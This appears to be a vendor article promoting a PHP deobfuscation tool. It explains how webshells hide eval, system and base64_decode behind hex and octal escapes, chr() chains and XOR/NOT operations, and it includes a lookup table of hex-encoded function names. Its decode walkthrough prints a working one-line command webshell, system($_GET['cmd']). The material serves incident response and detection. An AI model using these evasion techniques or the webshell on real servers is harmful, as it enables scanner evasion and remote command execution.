You find a PHP file on a compromised WordPress server. Four kilobytes, single-line, almost entirely hex escape sequences. No recognizable function names, no comments, no readable text. But when the web server executes it, it opens a command shell to the internet. This is PHP string obfuscation, and it accounts for 41% of all CMS malware in Sucuri's annual Website Threat Research Report (2024 edition). The attacker replaces every recognizable function name and string literal with escape sequences, character-code arithmetic, or bitwise operations - producing files that contain virtually no readable words yet execute without error. KlaroSkope decodes all known variants automatically: hex, octal, unicode, chr() chains, pack()/hex2bin()/strrev() constructions, and bitwise XOR/NOT/OR/AND operations - iteratively, across as many encoding layers as the sample contains.
Decode PHP webshells automatically. Paste your obfuscated PHP at klaroskope.com/submit - KlaroSkope resolves hex escapes, chr() chains, bitwise operations, and multi-layer encoding chains in seconds.
- What PHP String Obfuscation Looks Like - with NinjaCodec example
- The Encoding Techniques - escape sequences, chr()/pack()/strrev(), bitwise XOR/NOT
- Hex-Encoded Function Name Reference - lookup table for incident response
- Execution Sinks Beyond eval() - assert, create_function, call_user_func
- Tool Signatures in the Wild - NinjaCodec, PHPJiaMi, FOPO, b374k, Carbylamine, phpjiami
- Step-by-Step Decode Walkthrough - every intermediate output shown
- Threat Landscape - CISA AA21-209A, Sucuri 2024, CMS exploitation
- Decode It Automatically - before/after example with KlaroSkope
What PHP String Obfuscation Looks Like
PHP's double-quoted strings process escape sequences at parse time. The interpreter sees "\x65" and replaces it with the byte 0x65 (the letter "e") before the string ever reaches user-land code. Attackers exploit this to construct payloads that contain no human-readable function names. The string "\x65\x76\x61\x6c" is the word "eval" - but no signature scanner looking for the literal text "eval" will find it. Assign that string to a variable and call it as a function, and you have invisible code execution. That's the point.
Here is a real-world pattern from the NinjaCodec obfuscation tool:
<?=@null;
$_ = "\x65\x76\x61\x6c";
$_("\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65('PD9waHAgZWNobyAnSGVsbG8nOw==')");We see the <?=@null; prefix regularly - it's a NinjaCodec fingerprint. It outputs nothing but confirms PHP execution on the server. The first variable assignment builds the string "eval" from hex escapes. The second line builds "base64_decode" the same way and calls it on the Base64-encoded payload. Neither "eval" nor "base64_decode" appear anywhere in the source as readable text. A YARA rule matching those strings would likely miss this file.
The Encoding Techniques
PHP webshell obfuscation draws from a combinatorial space of string construction techniques. They fall into three categories: escape sequences processed by the PHP parser, function-based string building at runtime, and bitwise arithmetic on string bytes. Most real-world samples combine techniques from two or all three categories in a single file. The samples that take the longest to analyze aren't the most deeply encoded - they're the ones that mix techniques across categories.
Escape Sequences
PHP supports three escape sequence formats in double-quoted strings. Hex escapes (\xNN) encode each byte as a two-digit hexadecimal value. Octal escapes (\NNN) use three octal digits. Unicode escapes (\u{NNNN}), available since PHP 7.0, specify Unicode code points directly. A critical detail for analysis: single-quoted strings in PHP do NOT process escape sequences. The string '\x65' is the literal four-character sequence backslash-x-6-5, not the letter "e". Attackers nearly always use double-quoted strings or heredoc syntax (<<<EOT) for escape-based obfuscation. Heredoc blocks process escapes identically to double-quoted strings, making them functionally equivalent for obfuscation purposes - and they avoid the quoting conflicts that arise when the payload itself contains double quotes. Nowdoc syntax (<<<'EOT') behaves like single quotes and does not process escapes.
Analysis trap: single-quoted PHP strings do NOT process escape sequences. If you see '\x65\x76\x61\x6c' (single quotes), those are literal characters, not hex escapes. Only double-quoted strings and heredoc blocks decode \xNN sequences.
Many samples mix hex and octal escapes in a single string to defeat tools that only handle one format:
$fn = "\x62\141\x73\145\x36\064\x5f\144\x65\143\x6f\144\x65";
// Alternating hex and octal: "base64_decode"
// \x62 = 'b', \141 = 'a', \x73 = 's', \145 = 'e', ...Hex-Encoded Function Name Reference
Bookmark this section. During incident response, you can match hex sequences from a suspicious PHP file against this table to quickly identify which functions are being hidden.
If you're manually triaging an obfuscated PHP file, these are the hex sequences you'll encounter most often. Each row is a function name that attackers commonly hide behind hex escapes.
| Hex-Encoded | Function |
|---|---|
| \x65\x76\x61\x6c | eval (code execution) |
| \x61\x73\x73\x65\x72\x74 | assert (code execution, PHP <8) |
| \x73\x79\x73\x74\x65\x6d | system (command execution) |
| \x65\x78\x65\x63 | exec (command execution) |
| \x70\x61\x73\x73\x74\x68\x72\x75 | passthru (command execution) |
| \x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63 | shell_exec (command execution) |
| \x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65 | base64_decode (payload decoding) |
| \x67\x7a\x69\x6e\x66\x6c\x61\x74\x65 | gzinflate (decompression) |
| \x67\x7a\x75\x6e\x63\x6f\x6d\x70\x72\x65\x73\x73 | gzuncompress (decompression) |
| \x73\x74\x72\x5f\x72\x6f\x74\x31\x33 | str_rot13 (encoding layer) |
| \x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e | create_function (removed PHP 8) |
| \x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73 | file_get_contents (file access) |
Function-Based String Construction
Instead of embedding escape sequences in string literals, attackers can build strings character by character at runtime using PHP's string functions. The chr() function converts an integer to its corresponding ASCII character. Chaining chr() calls with the concatenation operator builds arbitrary strings without any recognizable text in the source. The pack() function with the "H*" format converts a hex string to binary. The hex2bin() function does the same. The strrev() function reverses a string - "edoced_46esab" reversed is "base64_decode". These functions can be nested and combined to produce chains that no static pattern can match.
// chr() chain building "eval"
$fn = chr(101).chr(118).chr(97).chr(108);
// $fn = "eval"
$fn(base64_decode($payload));The chr() arguments can also use arithmetic expressions - chr(50+51) instead of chr(101) - adding another layer of indirection. Some obfuscators use hex (chr(0x65)) or octal (chr(0145)) notation for the integer arguments themselves. We've seen samples where most chr() calls use different arithmetic expressions, specifically to complicate pattern matching.
// strrev() hiding function names
$fn = strrev("edoced_46esab");
// $fn = "base64_decode"
$fn($payload);Beyond eval(): Execution Sinks
Attackers don't always call eval() directly. Any of these functions can execute a decoded payload, which is why decoding the function name is as important as decoding the payload itself.
| Function | Status | How It Works |
|---|---|---|
| eval() | Active in all PHP versions | Evaluates a string as PHP code directly |
| assert() | Code execution removed in PHP 8.0 | In PHP 5/7, evaluates string argument as PHP code when passed a string |
| create_function() | Removed in PHP 8.0 | Creates an anonymous function from strings; internally calls eval() |
| preg_replace() with /e | Removed in PHP 7.0 | The /e modifier evaluated the replacement string as PHP code |
| call_user_func() | Active in all PHP versions | Calls a function by name; combined with obfuscated function names, executes arbitrary code |
| array_map() with callable | Active in all PHP versions | Maps a function over array elements; attackers pass a decoded function name and payload as arguments |
| $var() variable function call | Active in all PHP versions | PHP allows calling functions via variables: $fn = 'system'; $fn('whoami'); - no special function needed |
Bitwise String Operations
Bitwise string construction represents the most advanced generation of PHP obfuscation, specifically designed to defeat tools that handle escape sequences and function calls. PHP applies bitwise operators to strings byte-by-byte: the XOR of two strings produces a third string where each byte is the XOR of the corresponding input bytes. Neither operand needs to resemble the output. Two strings of random-looking bytes whose XOR produces "eval" - neither string individually reveals anything about the payload. This technique is associated with the Carbylamine and phpjiami obfuscation tools. Carbylamine deliberately constructs operand pairs that avoid printable ASCII patterns, ensuring neither operand triggers string-based detection rules - the randomness is engineered, not incidental.
// XOR: neither operand is recognizable
$fn = "\xa4\x1d\x07\xbe" ^ "\xc1\x6b\x66\xd2";
// XOR produces: 0xa4^0xc1=0x65='e', 0x1d^0x6b=0x76='v',
// 0x07^0x66=0x61='a', 0xbe^0xd2=0x6c='l'
// $fn = "eval"
$fn($code);Bitwise NOT (~) inverts every bit in each byte. Since PHP stores strings as byte arrays, applying NOT to a carefully crafted string produces the desired function name:
// Bitwise NOT: single operand, still unreadable
$fn = ~"\x9a\x89\x9e\x93";
// ~0x9a = 0x65 = 'e', ~0x89 = 0x76 = 'v',
// ~0x9e = 0x61 = 'a', ~0x93 = 0x6c = 'l'
// $fn = "eval"
$fn($code);Some samples combine XOR, NOT, OR, and AND in the same expression, or use the result of one bitwise operation as an operand for the next. The phpjiami obfuscator frequently uses bitwise NOT on string literals as its primary encoding method. More advanced phpjiami variants add type juggling - coercing arrays and objects to strings before applying bitwise operations - which moves the technique beyond what static analysis alone can resolve, since the string values depend on PHP runtime behavior.
Three generations of PHP obfuscation: Generation 1 used escape sequences (\xNN, \NNN) to hide strings. Generation 2 added function-based construction (chr(), pack(), strrev()) to hide function names. Generation 3 introduced bitwise operations (XOR, NOT) where neither operand reveals anything about the output. Most real-world samples combine techniques from multiple generations.
Tool Signatures in the Wild
Different obfuscation tools leave identifiable fingerprints in the files they produce. We use these signatures for clustering related infections, attributing webshell deployments to specific toolkits, and selecting the correct decoding strategy. If you're triaging a compromised server with dozens of PHP files, recognizing the tool gets you to the payload faster.
| Tool | Fingerprint | Typical Pattern |
|---|---|---|
| NinjaCodec | <?=@null; prefix | Hex-escaped eval chain with variable-function calls |
| PHPJiaMi | <?php /**/ ?> opener, $__ variables | gzinflate(base64_decode(str_rot13())) nesting |
| FOPO | Heavy octal escapes, minimal hex | Octal-encoded eval + gzinflate(base64_decode()) chain |
| b374k | $GLOBALS['mkl0'] key constant | gzinflate(base64_decode()) with embedded config |
| Carbylamine | Random-looking XOR pairs | Bitwise XOR string construction |
| phpjiami | Bitwise NOT on string literals | ~"\x9a..." patterns, advanced variants add type juggling |
The Decode Chain
Real-world webshells rarely use a single encoding technique. A typical infection chain stacks three to five layers: hex-escaped strings build function names, those functions decode a Base64 payload, the decoded payload is decompressed with gzinflate(), and the decompressed output is passed to eval(). Some samples add str_rot13() as an additional layer, or use multiple rounds of base64_decode(). Each layer needs to be peeled in sequence - you cannot jump to the final payload without resolving the intermediate steps, because each step's output is the input to the next.
The challenge for automated tools is that the decoding order is implicit. There is no metadata saying "decode hex first, then Base64, then decompress." The tool must recognize what it is looking at, apply the correct transformation, check whether the output is still encoded, and repeat. A tool that handles hex escapes but not gzinflate will decode one layer and stop, reporting compressed binary as the "result." This is why most online deobfuscators stop at one layer.
Here is what the full decode chain looks like for our PHPJiaMi sample, with every intermediate output shown:
Step 1 - Hex escape resolution:
$__ = "rWlmfF/VXSNbevjhFp3IHVy3qj2WIx/BGITC1oEJfYpQNWf4PH8="
Step 2 - str_rot13():
"eJyzsS/IKFAoriwuSc3VUIl3dw2JVk/OTVGP1bRWsLcDAJs4CU8="
Step 3 - base64_decode():
78 9c b3 b1 2f c8 28 50 28 ae 2c 2e 49 cd d5 50 ... (zlib compressed)
Step 4 - gzinflate():
<?php system($_GET['cmd']); ?>KlaroSkope's PHP decoder resolves escape sequences, function-based constructions, and bitwise operations within PHP code while preserving the surrounding code structure. This means downstream decoders can handle Base64, compression, and ROT13 layers automatically - the full chain is peeled iteratively without manual intervention.
Threat Landscape
PHP string obfuscation is not a niche technique. It's overwhelmingly common. Sucuri's annual Website Threat Research Report (2024 edition) found that 41% of all CMS malware uses hex-encoded eval chains as the primary persistence mechanism. The joint FBI/NSA/GCHQ advisory CISA AA21-209A specifically documents webshell persistence patterns using the same hex and octal escape techniques described above, noting their use in campaigns targeting network infrastructure worldwide.
The technique doesn't care who's using it. Commodity crimeware kits like b374k and WSO use it for mass-deployed webshells on compromised WordPress installations. More sophisticated operations use the same encoding patterns - sometimes with additional layers of encryption or custom packing - for persistent access to high-value targets. Webshell families commonly found with these patterns include China Chopper variants, b374k, WSO, and c99. What varies is the number of layers and the complexity of the outer wrapper, not the core encoding technique.
The most common initial access vector is exploitation of CMS plugin vulnerabilities. A vulnerable WordPress plugin allows file upload or code injection; the attacker writes an obfuscated PHP file to a directory that the web server can execute. Because the file contains no recognizable malware strings, file integrity monitoring tools that rely on pattern matching miss it. The relevant MITRE ATT&CK techniques are T1027 (Obfuscated Files or Information), T1505.003 (Server Software Component: Web Shell), and T1140 (Deobfuscate/Decode Files or Information).
If you find an obfuscated PHP file on your server, assume the server is compromised. Decoding the webshell reveals what the attacker can do, but the file's presence means they already have write access. Decode first, then investigate the initial access vector.
Decode It Automatically
Here is what KlaroSkope does with a real obfuscated webshell. The input is a PHPJiaMi-style sample with hex escapes, Base64, and gzinflate compression stacked together:
// INPUT (obfuscated)
<?php /**/ ?><?php $__="\x72\x57\x6c\x6d\x66\x46\x2f\x56\x58\x53\x4e\x62\x65\x76\x6a\x68\x46\x70\x33\x49\x48\x56\x79\x33\x71\x6a\x32\x57\x49\x78\x2f\x42\x47\x49\x54\x43\x31\x6f\x45\x4a\x66\x59\x70\x51\x4e\x57\x66\x34\x50\x48\x38\x3d";
eval(gzinflate(base64_decode(str_rot13($__))));// OUTPUT (decoded by KlaroSkope)
<?php system($_GET['cmd']); ?>The decoder resolved the hex escapes to reveal an encoded string, applied str_rot13 to produce valid Base64, decoded the Base64 to compressed bytes, decompressed with gzinflate, and produced the final payload - a one-line command execution webshell. The output includes the decoded payload, extracted IOCs (URLs, IPs, domains, API keys), MITRE ATT&CK technique mapping, and YARA/Sigma rule templates. For multi-layer samples, the decoder chain shows exactly which technique was applied at each layer. Paste your obfuscated PHP at klaroskope.com/submit and see the decoded result in seconds.
Try it now --> klaroskope.com/submit - paste any PHP webshell and see the decoded result in seconds.
Frequently Asked Questions
What is PHP hex obfuscation?
How do I decode a PHP webshell?
What is the <?=@null; prefix in PHP malware?
Can PHP single-quoted strings contain hex escapes?
What is chr() obfuscation in PHP?
What MITRE ATT&CK techniques cover PHP webshell obfuscation?
What does \x65\x76\x61\x6c mean in PHP?
How do I detect an obfuscated PHP webshell on my server?
What is the difference between gzinflate and gzuncompress?
Continue Learning
Ready to decode?
See KlaroSkope transform obfuscated scripts into actionable intelligence.
Try It Free